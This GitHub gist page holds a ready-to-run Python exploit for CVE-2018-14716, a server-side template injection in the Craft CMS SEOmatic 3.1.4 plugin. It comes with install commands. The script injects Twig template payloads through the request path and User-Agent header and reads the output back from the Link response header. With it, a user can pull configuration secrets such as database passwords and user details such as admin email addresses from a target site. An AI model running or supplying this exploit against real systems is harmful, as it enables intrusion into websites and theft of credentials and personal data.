Skip to content

Instantly share code, notes, and snippets.

@dhondta
Last active July 31, 2023 22:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dhondta/c78062ac1a6be3122d8b3226896a231d to your computer and use it in GitHub Desktop.
Save dhondta/c78062ac1a6be3122d8b3226896a231d to your computer and use it in GitHub Desktop.
Tinyscript Proof-of-Concept tool using PyBots for exploiting an SSTI vulnerability in Craft CMS (CVE-2018-14716)

Craft CMS SEOmatic 3.1.4 SSTI Exploit (CVE-2018-14716)

This is an automation of this exploit using Tinyscript and Pybots for getting config settings or user properties.

$ pip install tinyscript
$ tsm install craftcms-seomatic-ssti
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pybots import HTTPBot
from tinyscript import *
__author__ = "Alexandre D'Hondt"
__email__ = "alexandre.dhondt@gmail.com"
__reference__ = "https://www.exploit-db.com/exploits/45108"
__doc__ = """
This tool implements exploit 45108 of ExploitDB related to CVE-2018-14716, that is, a Server-Side Template Injection on Craft CMS SEOmatic plugin 3.1.4.
"""
__examples__ = [
"http://example.com -p db-server db-port db-username db-password",
"http://example.com -p admin.id admin.email admin.status",
]
class ExploitBot(HTTPBot):
def get_config_setting(self, param):
p0, p1 = param.split("-", 1)
ssti = "{% set p0=craft.request.getUserAgent()|slice(0," + str(len(p0)) + ")%}" + \
"{% set p1=craft.request.getUserAgent()|slice(" + str(len(p0)+1) + "," + str(len(p1)) + ")%}" + \
"{{craft.config.get(p1,p0)}}"
req = "/: "
self.head(req + ssti, aheaders={'User-Agent': p0 + " " + p1})
return str(self.response.headers['Link']).split(req)[1].split(">; rel=")[0]
def get_user_property(self, param):
user, property = param.split(".", 1)
ssti = "{% set p=craft.request.getUserAgent()|slice(0," + str(len(user)) + ")%}{{craft.users.username(p)[0]." + property + "}}"
req = "/: "
self.head(req + ssti, aheaders={'User-Agent': user})
return str(self.response.headers['Link']).split(req)[1].split(">; rel=")[0]
if __name__ == '__main__':
parser.add_argument("url", help="target URL of Craft CMS")
parser.add_argument("-p", "--param", nargs="+", help="parameter to retrieve",
note="Supported formats:\n- [file]-[setting] (e.g. db-password)\n- [username].[property] (e.g. admin.email)")
initialize()
with ExploitBot(args.url, verbose=args.verbose) as bot:
for p in args.param:
if len(p.split("-")) == 2:
v = bot.get_config_setting(p)
elif len(p.split(".")) == 2:
v = bot.get_user_property(p)
else:
bot.logger.error("Bad parameter format")
continue
if v:
bot.logger.info("{}: {}".format(p, v))
else:
bot.logger.warning("{}: bad parameter or empty value".format(p))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment